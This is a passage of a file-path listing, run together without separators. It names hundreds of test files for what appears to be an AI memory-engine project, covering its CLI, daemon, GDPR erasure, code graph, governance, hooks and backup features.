st_cli/test_a_model_download_ends_with_its_parent.pytests/test_cli/test_account_check_on_windows.pytests/test_cli/test_admission_cli_tier.pytests/test_cli/test_backup_cmd.pytests/test_cli/test_brain_truth_adapter.pytests/test_cli/test_cli_metadata_read_only.pytests/test_cli/test_compress_cmd.pytests/test_cli/test_connect_dry_run_blackbox.pytests/test_cli/test_daemon_child_exit.pytests/test_cli/test_daemon_clock_drift_identity.pytests/test_cli/test_daemon_cold_start_wait.pytests/test_cli/test_daemon_identity_contract.pytests/test_cli/test_daemon_instance_lock.pytests/test_cli/test_daemon_lock_window.pytests/test_cli/test_daemon_main_module_record.pytests/test_cli/test_daemon_owned_discovery.pytests/test_cli/test_daemon_paths.pytests/test_cli/test_daemon_port_conflict.pytests/test_cli/test_daemon_record_guardian.pytests/test_cli/test_daemon_server_error.pytests/test_cli/test_daemon_stop_wait_bound.pytests/test_cli/test_daemon_unavailable_diagnosis.pytests/test_cli/test_daemon_unpublished_owner.pytests/test_cli/test_delete_reaches_any_profile.pytests/test_cli/test_deployment_policy_regressions.pytests/test_cli/test_diagnostics_cmd.pytests/test_cli/test_doctor_daemon_liveness.pytests/test_cli/test_doctor_deadline.pytests/test_cli/test_doctor_exit_status.pytests/test_cli/test_doctor_health_verdicts.pytests/test_cli/test_doctor_host_diagnostics.pytests/test_cli/test_doctor_main_readonly.pytests/test_cli/test_doctor_reads_what_upgrade_hosts_refreshes.pytests/test_cli/test_doctor_reports_data_repairs.pytests/test_cli/test_doctor_reports_failed_saves.pytests/test_cli/test_doctor_reports_hook_spool.pytests/test_cli/test_doctor_reports_mesh_db.pytests/test_cli/test_embedder_cmd.pytests/test_cli/test_embedder_upgrade_cmd.pytests/test_cli/test_fidelity_diagnostics.pytests/test_cli/test_forget_daemon_contract.pytests/test_cli/test_forget_dry_run.pytests/test_cli/test_help_cmd.pytests/test_cli/test_hermes_plugin_grant.pytests/test_cli/test_host_upgrade_contract.pytests/test_cli/test_json_error_paths.pytests/test_cli/test_kinds_backfill_bad_run_id.pytests/test_cli/test_kinds_cmd.pytests/test_cli/test_kinds_cmd_json_flag_placement.pytests/test_cli/test_kinds_cmd_refusal_mapping.pytests/test_cli/test_laya_after_upgrade.pytests/test_cli/test_legacy_service_migration.pytests/test_cli/test_lifecycle_autostart_contract.pytests/test_cli/test_linux_service_status.pytests/test_cli/test_list_kind_filter.pytests/test_cli/test_main_additive.pytests/test_cli/test_media_cmd.pytests/test_cli/test_mesh_cmd.pytests/test_cli/test_messages_name_real_commands.pytests/test_cli/test_migration_logs_beside_a_moved_database_are_found.pytests/test_cli/test_models_cmd.pytests/test_cli/test_mutation_conflict_message.pytests/test_cli/test_mutation_daemon_contract.pytests/test_cli/test_mutation_unknown_id.pytests/test_cli/test_one_shot_commands_build_no_answer_check.pytests/test_cli/test_ops_resolve_bad_id.pytests/test_cli/test_optimize_cmd.pytests/test_cli/test_output_survives_a_legacy_code_page.pytests/test_cli/test_pending_store_profile_isolation.pytests/test_cli/test_pending_store_safety.pytests/test_cli/test_platform_import_safety.pytests/test_cli/test_pr253_calibration_cancel.pytests/test_cli/test_profile_switch_bad_name.pytests/test_cli/test_provider_custom_endpoint.pytests/test_cli/test_provider_noninteractive_contract.pytests/test_cli/test_proxy_cmd.pytests/test_cli/test_python_312_floor_is_enforced.pytests/test_cli/test_quantize_repair_only.pytests/test_cli/test_recall_answer_check_text.pytests/test_cli/test_recall_daemon_fallback.pytests/test_cli/test_recall_stdout_is_results_only.pytests/test_cli/test_recall_text_says_when_incomplete.pytests/test_cli/test_recall_time_flags_json.pytests/test_cli/test_regraph_goes_through_the_daemon.pytests/test_cli/test_release_help_surface.pytests/test_cli/test_remember_idempotent_retry.pytests/test_cli/test_remember_replaces_cli.pytests/test_cli/test_remember_sync_daemon_contract.pytests/test_cli/test_remote_json_envelope.pytests/test_cli/test_repair_speaker.pytests/test_cli/test_scale_engine_cmd.pytests/test_cli/test_service_data_root_contract.pytests/test_cli/test_service_definition_handles.pytests/test_cli/test_service_removal_races.pytests/test_cli/test_session_command.pytests/test_cli/test_setup_consent_contract.pytests/test_cli/test_setup_wizard_embedding.pytests/test_cli/test_setup_wizard_laya.pytests/test_cli/test_setup_wizard_mode_b_server.pytests/test_cli/test_setup_wizard_ux3.pytests/test_cli/test_shared_computer_accounts.pytests/test_cli/test_sources_cmd.pytests/test_cli/test_stale_mcp_diagnostics.pytests/test_cli/test_star_prompt.pytests/test_cli/test_status_field_parity.pytests/test_cli/test_status_says_when_text_vectors_need_the_service.pytests/test_cli/test_stop_daemon_busy_health.pytests/test_cli/test_tag_flags.pytests/test_cli/test_team_cmd.pytests/test_cli/test_trace_answer_check_text.pytests/test_cli/test_trace_daemon_contract.pytests/test_cli/test_upgrade_cmd.pytests/test_cli/test_v3442_daemon_restart.pytests/test_cli/test_v3442_warmup_daemon_aware.pytests/test_cli/test_version_banner_stream.pytests/test_cli/test_w1_namespace_control_plane.pytests/test_cli/test_w8_doctor_installs.pytests/test_cli/test_warmup_requires_ready.pytests/test_cli/test_wizard_mode_b_model_choice.pytests/test_cli/test_wizard_mode_c_model_choice.pytests/test_cli/test_wp19_enrich_cmd.pytests/test_cli/test_wp19_enrich_repair_saves.pytests/test_cli/test_wp19_list_stubs.pytests/test_cli/test_wp5_local_model.pytests/test_cli/test_wp8_daemon_wiring.pytests/test_cli/test_wp8_save_completion.pytests/test_cli_core.pytests/test_cli_json.pytests/test_cli_subparsers/__init__.pytests/test_cli_subparsers/test_claude_desktop_path.pytests/test_cli_subparsers/test_connect_and_prestage.pytests/test_cli_subparsers/test_connect_copilot_cli.pytests/test_cli_subparsers/test_connect_many.pytests/test_cli_subparsers/test_connect_muse_and_grok_cli.pytests/test_cli_subparsers/test_connect_openclaw.pytests/test_cli_subparsers/test_continue_owned_entry.pytests/test_cli_subparsers/test_db_migrate.pytests/test_cli_subparsers/test_doctor_optimize.pytests/test_cli_subparsers/test_escape_hatch.pytests/test_cli_subparsers/test_evidence_commands.pytests/test_cli_subparsers/test_portable_kit.pytests/test_cli_subparsers/test_super_help.pytests/test_cli_subparsers/test_the_skills_are_not_shipped_by_pip.pytests/test_cli_subparsers/test_transport_connect.pytests/test_cli_subparsers/test_version_banner.pytests/test_cli_subparsers/test_wizard_v3426_options.pytests/test_cli_v33.pytests/test_code_graph/__init__.pytests/test_code_graph/conftest.pytests/test_code_graph/fixtures/sample_python.pytests/test_code_graph/fixtures/sample_typescript.tstests/test_code_graph/test_blast_radius.pytests/test_code_graph/test_bridge_off_write_path.pytests/test_code_graph/test_changes.pytests/test_code_graph/test_communities.pytests/test_code_graph/test_config.pytests/test_code_graph/test_database.pytests/test_code_graph/test_entity_resolver.pytests/test_code_graph/test_event_listeners.pytests/test_code_graph/test_extractor_python.pytests/test_code_graph/test_extractor_typescript.pytests/test_code_graph/test_fact_enricher.pytests/test_code_graph/test_flows.pytests/test_code_graph/test_git_hooks.pytests/test_code_graph/test_graph_engine.pytests/test_code_graph/test_graph_store.pytests/test_code_graph/test_hebbian_linker.pytests/test_code_graph/test_incremental.pytests/test_code_graph/test_mcp_tools.pytests/test_code_graph/test_models.pytests/test_code_graph/test_parser.pytests/test_code_graph/test_resolver.pytests/test_code_graph/test_schema.pytests/test_code_graph/test_search.pytests/test_code_graph/test_service.pytests/test_code_graph/test_temporal_checker.pytests/test_code_graph/test_watcher.pytests/test_compliance/__init__.pytests/test_compliance/awkward_store.pytests/test_compliance/erasure_universe.pytests/test_compliance/test_answer_check_history_gdpr.pytests/test_compliance/test_audit_check_for_a_screen_that_asks_often.pytests/test_compliance/test_audit_trail_is_counted_and_paged.pytests/test_compliance/test_erasing_one_person_does_not_erase_another.pytests/test_compliance/test_erasure_acts_on_a_failed_vector_delete.pytests/test_compliance/test_erasure_clears_derive_cache.pytests/test_compliance/test_erasure_leaves_no_copy_anywhere.pytests/test_compliance/test_erasure_outcome_is_one_answer.pytests/test_compliance/test_erasure_reaches_native_projections.pytests/test_compliance/test_erasure_reaches_the_graph_projection.pytests/test_compliance/test_erasure_reaches_the_search_expansion_index.pytests/test_compliance/test_erasure_reaches_what_was_shown.pytests/test_compliance/test_erasure_removes_the_workspace_entry.pytests/test_compliance/test_erasure_with_unreadable_and_old_backups.pytests/test_compliance/test_eu_ai_act.pytests/test_compliance/test_export_is_one_persons_and_private.pytests/test_compliance/test_export_serialises_every_column_type.pytests/test_compliance/test_forget_facts.pytests/test_compliance/test_gdpr.pytests/test_compliance/test_gdpr_completeness.pytests/test_compliance/test_gdpr_erasure_ordering.pytests/test_compliance/test_gdpr_erasure_wins.pytests/test_compliance/test_gdpr_export_code_graph_complete.pytests/test_compliance/test_gdpr_export_media.pytests/test_compliance/test_gdpr_vector_erasure.pytests/test_compliance/test_lifecycle.pytests/test_compliance/test_profile_erase_purges_keyword_index.pytests/test_compliance/test_profile_erase_with_write_receipts.pytests/test_compliance/test_profile_erasure_with_correction_history.pytests/test_compliance/test_retention_rules_are_listed_without_the_write_lock.pytests/test_compliance/test_the_surfaces_agree_about_an_erasure.pytests/test_compliance_full.pytests/test_compliance_retention_handle.pytests/test_config_ccq_write_path.pytests/test_config_system.pytests/test_contracts/test_v402_contract_schemas.pytests/test_core/__init__.pytests/test_core/test_386_ingestion_reaper.pytests/test_core/test_386_recall_read_only_contract.pytests/test_core/test_386_remember_admission_contract.pytests/test_core/test_a_check_finished_later_never_costs_a_recall.pytests/test_core/test_a_dated_fact_reaches_the_temporal_layer.pytests/test_core/test_a_drifted_graph_heals_itself.pytests/test_core/test_a_half_promoted_store_can_still_finish.pytests/test_core/test_a_machine_guess_never_hides_a_save.pytests/test_core/test_a_new_memory_is_born_active.pytests/test_core/test_a_recomputed_lifecycle_survives_the_tick.pytests/test_core/test_a_replaced_orchestrator_releases_its_runtime.pytests/test_core/test_a_rule_answer_reads_as_a_rule.pytests/test_core/test_a_session_remembers_its_last_few_turns.pytests/test_core/test_a_shut_embedding_service_stays_shut.pytests/test_core/test_a_stopped_laya_setup_is_never_a_dead_end.pytests/test_core/test_a_stored_memory_reaches_the_projection_or_the_outbox.pytests/test_core/test_a_stub_is_flagged_when_it_is_written.pytests/test_core/test_a_write_does_not_wait_for_a_cold_model.pytests/test_core/test_admission.pytests/test_core/test_admission_mcp_rbac.pytests/test_core/test_admission_tranche_a.pytests/test_core/test_admission_tranche_b.pytests/test_core/test_admission_tranche_c.pytests/test_core/test_admission_tranche_d.pytests/test_core/test_admission_tranche_e.pytests/test_core/test_admission_tranche_f.pytests/test_core/test_admission_tranche_g.pytests/test_core/test_an_existing_store_gets_the_backends_by_itself.pytests/test_core/test_an_unchecked_answer_never_reads_as_checked.pytests/test_core/test_answer_check_history.pytests/test_core/test_answer_check_history_stats.pytests/test_core/test_answer_check_history_store.pytests/test_core/test_backend_orchestrator_migration.pytests/test_core/test_background_child_never_outlives_its_call.pytests/test_core/test_background_embed_waits_only_for_query_embedding.pytests/test_core/test_background_writes_wait_for_recalls.pytests/test_core/test_calibration_real_engine.pytests/test_core/test_calibration_uses_the_engines_workspace.pytests/test_core/test_caller_kind_admission.pytests/test_core/test_canonical_ingestion_materialization.pytests/test_core/test_cloud_embed_client_reuse.pytests/test_core/test_community_summary.pytests/test_core/test_compaction_not_applicable.pytests/test_core/test_component_registry.pytests/test_core/test_config.pytests/test_core/test_config_atomic_save.pytests/test_core/test_consolidation_engine.pytests/test_core/test_consolidation_writes_no_memories.pytests/test_core/test_context_cache.pytests/test_core/test_context_loads_are_not_questions.pytests/test_core/test_core_block_hygiene.pytests/test_core/test_core_memory_blocks.pytests/test_core/test_correction_candidate_pipeline.pytests/test_core/test_coverage_backfill.pytests/test_core/test_credentials_never_leave_the_machine.pytests/test_core/test_daemon_text_embedder.pytests/test_core/test_data_locality.pytests/test_core/test_decay_uses_the_stores_timescale.pytests/test_core/test_dependency_version_warning.pytests/test_core/test_deployment_config.pytests/test_core/test_derivation_lineage.pytests/test_core/test_egress_exits_are_gated.pytests/test_core/test_embed_memory_check_in_process.pytests/test_core/test_embed_model_check.pytests/test_core/test_embed_route_prompt.pytests/test_core/test_embedding_fallback.pytests/test_core/test_embedding_no_invention.pytests/test_core/test_embedding_pressure_hysteresis.pytests/test_core/test_embedding_provider_matches_model.pytests/test_core/test_embedding_worker_backend_order.pytests/test_core/test_embedding_worker_spawn_lock.pytests/test_core/test_engine_capabilities.pytests/test_core/test_engine_close_joins_its_threads.pytests/test_core/test_engine_lock.pytests/test_core/test_engine_recall_path.pytests/test_core/test_engine_session_lifecycle.pytests/test_core/test_engine_store_path.pytests/test_core/test_engine_store_profile.pytests/test_core/test_engine_upgrade.pytests/test_core/test_enrich_new_facts_now.pytests/test_core/test_entity_community.pytests/test_core/test_error_envelope.pytests/test_core/test_every_memory_gets_a_place_in_the_graph.pytests/test_core/test_evidence_bundle.pytests/test_core/test_exact_lexical_evidence.pytests/test_core/test_f1_store_pipeline_repair_fallback.pytests/test_core/test_f5_embedding_mid_window_eviction.pytests/test_core/test_f7_f9_ingestion_lease_hardening.pytests/test_core/test_fact_consolidator_dbmanager.pytests/test_core/test_fact_consolidator_dedup.pytests/test_core/test_file_lock.pytests/test_core/test_full_consolidation_wiring.pytests/test_core/test_graph_analyzer.pytests/test_core/test_graph_metrics_helper_has_room.pytests/test_core/test_graph_metrics_run_outside_the_daemon.pytests/test_core/test_hard_abstain.pytests/test_core/test_health_monitor_budget.pytests/test_core/test_hub_baseline_engine_wiring.pytests/test_core/test_ingest_gate.pytests/test_core/test_ingestion_command.pytests/test_core/test_ingestion_entropy_admission.pytests/test_core/test_ingestion_lease_after_crash.pytests/test_core/test_injected_text_has_a_hard_token_cap.pytests/test_core/test_jev_rerank_wiring.pytests/test_core/test_judge_keys.pytests/test_core/test_judge_keys_hardening.pytests/test_core/test_judge_selection.pytests/test_core/test_junk_cannot_score_as_keep_worthy.pytests/test_core/test_keep_worthiness_live_shapes.pytests/test_core/test_key_expander.pytests/test_core/test_kind_on_resave.pytests/test_core/test_kind_query.pytests/test_core/test_kind_reconcile_task.pytests/test_core/test_kind_upgrade_once.pytests/test_core/test_langevin_init.pytests/test_core/test_laya_download_location.pytests/test_core/test_laya_interpreter_safety.pytests/test_core/test_laya_runtime.pytests/test_core/test_laya_runtime_native.pytests/test_core/test_laya_worker.pytests/test_core/test_laya_worker_replies_and_watchdog.pytests/test_core/test_lifecycle_has_one_authority.pytests/test_core/test_light_engine_managed_embedder.pytests/test_core/test_lineage_outside_the_write_lock.pytests/test_core/test_long_reads_take_no_write_lock.pytests/test_core/test_maintenance_never_archives_a_used_memory.pytests/test_core/test_maintenance_scheduler_startup.pytests/test_core/test_memory_kind_backfill.pytests/test_core/test_memory_kind_backfill_decisions.pytests/test_core/test_memory_kind_config.pytests/test_core/test_memory_kind_wiring.pytests/test_core/test_migration_daemon_safety.pytests/test_core/test_migration_v3_4_26.pytests/test_core/test_mode_b_local_endpoint.pytests/test_core/test_mode_reconcile.pytests/test_core/test_model_catalog.pytests/test_core/test_modes.pytests/test_core/test_mutation_routing.pytests/test_core/test_mutation_semantic_sync.pytests/test_core/test_mutation_service.pytests/test_core/test_no_machine_correction_inside_one_save.pytests/test_core/test_ollama_embedder.pytests/test_core/test_one_drain_pass_is_one_vector_write.pytests/test_core/test_one_model_default.pytests/test_core/test_openai_embeddings.pytests/test_core/test_outbound_gate.pytests/test_core/test_phase4b_temporal_surfacing.pytests/test_core/test_phase5_brain_wiring.pytests/test_core/test_pid_liveness_on_windows.pytests/test_core/test_pii.pytests/test_core/test_platform_utils.pytests/test_core/test_pr253_calibration_cancel.pytests/test_core/test_pr253_calibration_nonregression.pytests/test_core/test_pr253_calibration_publication.pytests/test_core/test_pr253_recipe_compatibility.pytests/test_core/test_pr253_source_and_budget_notices.pytests/test_core/test_profiles.pytests/test_core/test_profiles_save_on_windows.pytests/test_core/test_progressive_abstraction.pytests/test_core/test_project_identity.pytests/test_core/test_projection_queue_reports_honestly.pytests/test_core/test_provider_endpoint_trust.pytests/test_core/test_queue_consumer.pytests/test_core/test_ram_lock.pytests/test_core/test_ram_lock_cross_platform.pytests/test_core/test_ranking_policy.pytests/test_core/test_rate_limit.pytests/test_core/test_rate_limiter_runtime.pytests/test_core/test_recall_behavioral_entities.pytests/test_core/test_recall_health.pytests/test_core/test_recall_layers.pytests/test_core/test_recall_markers.pytests/test_core/test_recall_pipeline_answer_check_trace.pytests/test_core/test_recall_priority_gate.pytests/test_core/test_recall_queue.pytests/test_core/test_recall_sources.pytests/test_core/test_recall_store_boundary.pytests/test_core/test_recall_worker_write_identity.pytests/test_core/test_redaction_keeps_paths_and_urls.pytests/test_core/test_registry.pytests/test_core/test_registry_coverage.pytests/test_core/test_remember_correction_kind_carryover.pytests/test_core/test_remember_replaces.pytests/test_core/test_requests_and_stubs_do_not_answer_recency.pytests/test_core/test_reranker_enabled_override.pytests/test_core/test_reranker_scores_by_length.pytests/test_core/test_reranker_worker_gpu_cache.pytests/test_core/test_review243_hopfield_config.pytests/test_core/test_s9_dash_recall_perf.pytests/test_core/test_s9_w2_security.pytests/test_core/test_safe_fs.pytests/test_core/test_saved_memory_keeps_its_own_fact.pytests/test_core/test_scale_engine_config.pytests/test_core/test_scale_engine_lifecycle.pytests/test_core/test_scope_config.pytests/test_core/test_scope_plumbing.pytests/test_core/test_secrets_are_owner_only_before_written.pytests/test_core/test_security_primitives.pytests/test_core/test_session_close_stays_cheap.pytests/test_core/test_set_fact_kind_mutation.pytests/test_core/test_shadow_router.pytests/test_core/test_shadow_router_reaches_a_verdict.pytests/test_core/test_sheaf_default_off.pytests/test_core/test_sheaf_explicit_choice.pytests/test_core/test_sheaf_notice_once_per_install.pytests/test_core/test_silent_failure_elevation.pytests/test_core/test_slm_disabled.pytests/test_core/test_slm_media_catalog_and_validation.pytests/test_core/test_slm_media_provider_routing.pytests/test_core/test_source_fidelity_guard.pytests/test_core/test_stage8_ram_lock_parent_perms.pytests/test_core/test_stale_session_close.pytests/test_core/test_startup_coverage_check.pytests/test_core/test_store_pipeline_canonical_write_order.pytests/test_core/test_store_pipeline_vectors.pytests/test_core/test_sufficiency_wiring.pytests/test_core/test_support_stage.pytests/test_core/test_tag_identity.pytests/test_core/test_tag_query.pytests/test_core/test_the_answer_check_is_repeatable.pytests/test_core/test_the_answer_check_on_the_recall_path.pytests/test_core/test_the_drain_projects_what_recall_can_return.pytests/test_core/test_the_engine_that_ranks_is_the_engine_reported.pytests/test_core/test_the_graph_projection_never_drifts.pytests/test_core/test_the_kind_facet_runs_before_the_judge.pytests/test_core/test_the_online_check_sends_only_this_profiles_memories.pytests/test_core/test_topic_signature.pytests/test_core/test_turn_three_is_not_as_cold_as_turn_one.pytests/test_core/test_v3442_reranker_warmup_singleton.pytests/test_core/test_vector_history_stays_bounded.pytests/test_core/test_what_am_i_working_on_answers.pytests/test_core/test_which_check_runs_and_who_holds_it.pytests/test_core/test_worker_pool_fast.pytests/test_core/test_worker_pool_fd.pytests/test_core/test_wp12b_hopfield_roundtrip.pytests/test_core/test_wp19_description.pytests/test_core/test_wp19_enrichment_event_start.pytests/test_core/test_wp19_health_repairs.pytests/test_core/test_wp19_health_report.pytests/test_core/test_wp19_health_service.pytests/test_core/test_wp19_native_repair_undo.pytests/test_core/test_wp19_ollama_cloud.pytests/test_core/test_wp19_recall_stubs.pytests/test_core/test_wp19_repair_saves.pytests/test_core/test_wp19_resave_valid_from.pytests/test_core/test_wp19_save_paths.pytests/test_core/test_wp19_stub_unmark.pytests/test_core/test_wp5_dedup.pytests/test_core/test_wp5_enrichment.pytests/test_core/test_wp5_truncation.pytests/test_core/test_wp5b_fidelity_failure.pytests/test_core/test_wp5b_legacy_recall.pytests/test_core/test_wp5b_quarantine.pytests/test_core/test_wp5b_review_listing.pytests/test_core/test_wp6_calibration_job.pytests/test_core/test_wp6_hand_edit.pytests/test_core/test_wp6_match_confidence.pytests/test_core/test_wp6_nomic_space.pytests/test_core/test_wp8_python_store.pytests/test_core/test_write_path_projection_order.pytests/test_cross_install/__init__.pytests/test_cross_install/test_lazy_init.pytests/test_daemon/__init__.pytests/test_daemon/test_materializer_live_module.pytests/test_daemon/test_pending_materializer_service.pytests/test_daemon/test_service_registry.pytests/test_dashboard_preserve_embedding.pytests/test_dev_metadata.pytests/test_distributed/__init__.pytests/test_distributed/test_remote_mode.pytests/test_docs_chatgpt_skill_location.pytests/test_documentation_matches_implementation.pytests/test_documents/__init__.pytests/test_documents/conftest.pytests/test_documents/index_support.pytests/test_documents/pdfs.pytests/test_documents/support.pytests/test_documents/test_data_root_refusal.pytests/test_documents/test_erase.pytests/test_documents/test_fable_fb.pytests/test_documents/test_folder_isolation.pytests/test_documents/test_heavy_phase.pytests/test_documents/test_index.pytests/test_documents/test_limits.pytests/test_documents/test_lint.pytests/test_documents/test_parse_script.pytests/test_documents/test_retry_by_id.pytests/test_documents/test_routes.pytests/test_documents/test_runner.pytests/test_documents/test_service.pytests/test_documents/test_status.pytests/test_documents/test_submit.pytests/test_dynamics/__init__.pytests/test_dynamics/test_archive_zone_has_one_source.pytests/test_dynamics/test_eap_scheduler.pytests/test_dynamics/test_ebbinghaus_langevin.pytests/test_dynamics/test_fisher_langevin_empty_variance.pytests/test_dynamics/test_qjl_repair_source_race.pytests/test_dynamics/test_qjl_upgrade_repair.pytests/test_dynamics/test_sagq.pytests/test_encoding/__init__.pytests/test_encoding/_source_fidelity_cases.pytests/test_encoding/test_a_codename_is_a_name_not_a_plan.pytests/test_encoding/test_a_plan_is_not_just_a_sentence_with_a_date_in_it.pytests/test_encoding/test_auto_linker.pytests/test_encoding/test_cognitive_consolidator.pytests/test_encoding/test_consolidation_respects_time_and_corrections.pytests/test_encoding/test_consolidator.pytests/test_encoding/test_consolidator_neighbours_without_a_full_scan.pytests/test_encoding/test_context_generator.pytests/test_encoding/test_emotional.pytests/test_encoding/test_entity_extraction_precision.pytests/test_encoding/test_entity_indexes_survive_unrelated_commits.pytests/test_encoding/test_entity_lookup_index_answers_the_same.pytests/test_encoding/test_entity_mentions.pytests/test_encoding/test_entity_name_validity.pytests/test_encoding/test_entity_resolution_never_chains.pytests/test_encoding/test_entity_resolver.pytests/test_encoding/test_entropy_gate.pytests/test_encoding/test_every_sentence_is_findable.pytests/test_encoding/test_fact_extractor.pytests/test_encoding/test_fact_extractor_kind_hint.pytests/test_encoding/test_foresight.pytests/test_encoding/test_graph_builder.pytests/test_encoding/test_hook_bookkeeping_is_a_stub.pytests/test_encoding/test_memory_kind_classifier.pytests/test_encoding/test_memory_kind_rules.pytests/test_encoding/test_mode_a_no_entities.pytests/test_encoding/test_node_degree_uses_edge_indexes.pytests/test_encoding/test_observation_builder.pytests/test_encoding/test_review243_causal_assertion.pytests/test_encoding/test_scene_builder.pytests/test_encoding/test_scene_lookups_use_the_scene_index.pytests/test_encoding/test_signal_inference.pytests/test_encoding/test_source_fidelity.pytests/test_encoding/test_source_fidelity_precision.pytests/test_encoding/test_temporal_filter.pytests/test_encoding/test_temporal_parser.pytests/test_encoding/test_temporal_validator.pytests/test_encoding/test_type_router.pytests/test_encoding/test_type_router_preserves_fields.pytests/test_encoding/test_typed_values.pytests/test_encoding/test_wp12a_causal.pytests/test_encoding/test_wp12b_entity_lookup_plans.pytests/test_encoding/test_wp5_dates.pytests/test_encoding/test_wp5_fidelity.pytests/test_encoding/test_wp5b_review_candidates.pytests/test_engine_hooks.pytests/test_evaluation/test_answer_quality.pytests/test_evaluation/test_calibration_report.pytests/test_evaluation/test_gold_presence.pytests/test_event_bus.pytests/test_evolution/__init__.pytests/test_evolution/test_a_verified_skill_can_actually_be_approved.pytests/test_evolution/test_an_evolved_skill_cannot_smuggle_code_past_the_check.pytests/test_evolution/test_artifact_identity.pytests/test_evolution/test_backup_confinement.pytests/test_evolution/test_backup_platform.pytests/test_evolution/test_config_cli.pytests/test_evolution/test_evolution.pytests/test_evolution/test_evolution_budget.pytests/test_evolution/test_evolution_config_endpoint.pytests/test_evolution/test_evolve_candidate_budget.pytests/test_evolution/test_llm_dispatch.pytests/test_evolution/test_model_selection.pytests/test_evolution/test_phase2_audit_remediations.pytests/test_evolution/test_phase2_governance.pytests/test_evolution/test_skill_cycle_acceptance.pytests/test_evolution/test_skill_evolver_firing.pytests/test_evolution/test_skill_health_execution.pytests/test_evolution/test_workspace_activation_never_writes_installed_source.pytests/test_evolution/test_wp11_local_models.pytests/test_evolution/test_wp11_verifier_artifact.pytests/test_f02_mode_no_compliance_claims.pytests/test_f03_data_locality_label.pytests/test_f05_single_learning_db_path.pytests/test_f08_migration_abort_distinguishable.pytests/test_f14_readline_thread_leak.pytests/test_features.pytests/test_final_locomo_mini.pytests/test_governance/__init__.pytests/test_governance/test_a_login_required_workspace_refuses_the_cli.pytests/test_governance/test_account_authority_and_audit.pytests/test_governance/test_active_workspace_is_per_caller.pytests/test_governance/test_audit_anchor_must_exist.pytests/test_governance/test_audit_anchor_upgrade.pytests/test_governance/test_audit_chain_covers_every_field.pytests/test_governance/test_audit_status_count_is_bounded.pytests/test_governance/test_audit_unknown_hash_versions.pytests/test_governance/test_company_mode_holds_on_every_transport.pytests/test_governance/test_connection_attribution_and_content_binding.pytests/test_governance/test_dashboard_recall_posts_stay_in_the_callers_workspace.pytests/test_governance/test_every_door_asks_the_same_question.pytests/test_governance/test_http_mcp_cookieless.pytests/test_governance/test_http_mcp_role_positive_controls.pytests/test_governance/test_http_mcp_workspace_sessions.pytests/test_governance/test_installation_events_are_visible.pytests/test_governance/test_installation_mutation_scope.pytests/test_governance/test_jev_consent_receipts.pytests/test_governance/test_learning_global_manage.pytests/test_governance/test_maintenance_acts_on_the_bound_workspace.pytests/test_governance/test_maintenance_forwards_caller_binding.pytests/test_governance/test_mcp_refusal_contract.pytests/test_governance/test_ops_scoped_and_honest.pytests/test_governance/test_pr248_recheck_integration.pytests/test_governance/test_read_target_route_contracts.pytests/test_governance/test_release_installation_routes.pytests/test_governance/test_role_surface_matrix_mcp.pytests/test_governance/test_role_surface_matrix_rest.pytests/test_governance/test_save_repair_keeps_fact_evidence.pytests/test_governance/test_save_repair_rechecks_reviewed_plan.pytests/test_governance/test_saves_refiled_after_scope_drift.pytests/test_governance/test_search_preserves_visibility.pytests/test_governance/test_stale_dead_letters.pytests/test_governance/test_stateful_http_mcp_workspace.pytests/test_governance/test_the_config_cannot_claim_a_backend_it_does_not_have.pytests/test_governance/test_the_dashboard_shows_what_is_true.pytests/test_governance/test_tool_registration_keeps_its_gate.pytests/test_governance/test_trust_accumulates_against_a_stable_identity.pytests/test_governance/test_unused_workspace_hints_cannot_grant_reads.pytests/test_governance/test_url_agent_name_is_only_claimed.pytests/test_governance/test_workspace_evolution_producers.pytests/test_governance/test_workspace_skill_evolution.pytests/test_graph/test_cozo_tier_sync.pytests/test_graph_integrity.pytests/test_graph_pruning_config.pytests/test_hook_handlers.pytests/test_hooks/__init__.pytests/test_hooks/_timing.pytests/test_hooks/test_an_action_is_recorded_whether_or_not_it_names_a_memory.pytests/test_hooks/test_auto_injection_never_hides_memories.pytests/test_hooks/test_auto_invoker.pytests/test_hooks/test_auto_parameterize.pytests/test_hooks/test_auto_recall_answer_check.pytests/test_hooks/test_auto_recall_hook.pytests/test_hooks/test_check_status_corrupt_settings.pytests/test_hooks/test_codex_assets.pytests/test_hooks/test_codex_hooks.pytests/test_hooks/test_codex_start_answer_check.pytests/test_hooks/test_daemon_port_discovery.pytests/test_hooks/test_fok_gating.pytests/test_hooks/test_hook_daemon.pytests/test_hooks/test_hook_deadline_command_resolution.pytests/test_hooks/test_hook_event_delivery.pytests/test_hooks/test_hook_event_spool.pytests/test_hooks/test_hook_handler_root_namespace.pytests/test_hooks/test_hook_handlers.pytests/test_hooks/test_hook_payload_keys.pytests/test_hooks/test_hook_socket_path.pytests/test_hooks/test_hooks_callable_injection.pytests/test_hooks/test_hooks_inject_supported_only.pytests/test_hooks/test_injection_switch.pytests/test_hooks/test_memory_protocol_answer_check.pytests/test_hooks/test_multi_signal_scoring.pytests/test_hooks/test_native_hook_event_evidence.pytests/test_hooks/test_outcome_hooks.pytests/test_hooks/test_prewarm_auth.pytests/test_hooks/test_rules_are_wired.pytests/test_hooks/test_session_registry.pytests/test_hooks/test_stage8_outcome_common_security.pytests/test_hooks/test_stage8_post_tool_marker_regex.pytests/test_hooks/test_user_prompt_hook_entity_detection.pytests/test_hooks/test_w2_canonical_data_root.pytests/test_host_and_framework_adapters/offline_agents.pytests/test_host_and_framework_adapters/test_adapter_resolution.pytests/test_host_and_framework_adapters/test_bridge_packaging.pytests/test_host_and_framework_adapters/test_doc_samples.pytests/test_host_and_framework_adapters/test_engine_bridge.pytests/test_host_and_framework_adapters/test_framework_contracts.pytests/test_host_and_framework_adapters/test_host_contracts.pytests/test_host_and_framework_adapters/test_http_verification.pytests/test_host_and_framework_adapters/test_native_adapters.pytests/test_host_and_framework_adapters/test_readme_samples.pytests/test_host_and_framework_adapters/test_sdk_contracts.pytests/test_ide_connector.pytests/test_infra.pytests/test_infra/_backup_key_env.pytests/test_infra/test_auxiliary_data_root_contract.pytests/test_infra/test_backup_coordinator_restore.pytests/test_infra/test_backup_coordinator_wal.pytests/test_infra/test_backup_crypto_format.pytests/test_infra/test_backup_due_clock.pytests/test_infra/test_backup_includes_mesh_db.pytests/test_infra/test_backup_keys.pytests/test_infra/test_backup_obligations_are_honest.pytests/test_infra/test_backup_restore_retention_race.pytests/test_infra/test_cloud_backup_atomic.pytests/test_infra/test_cloud_backup_encrypted_upload.pytests/test_infra/test_cloud_backup_keyring_absent.pytests/test_infra/test_data_root_contract.pytests/test_infra/test_local_diagnostics.pytests/test_infra/test_mesh_lock_expiry_targets_the_store.pytests/test_infra/test_proc_memory.p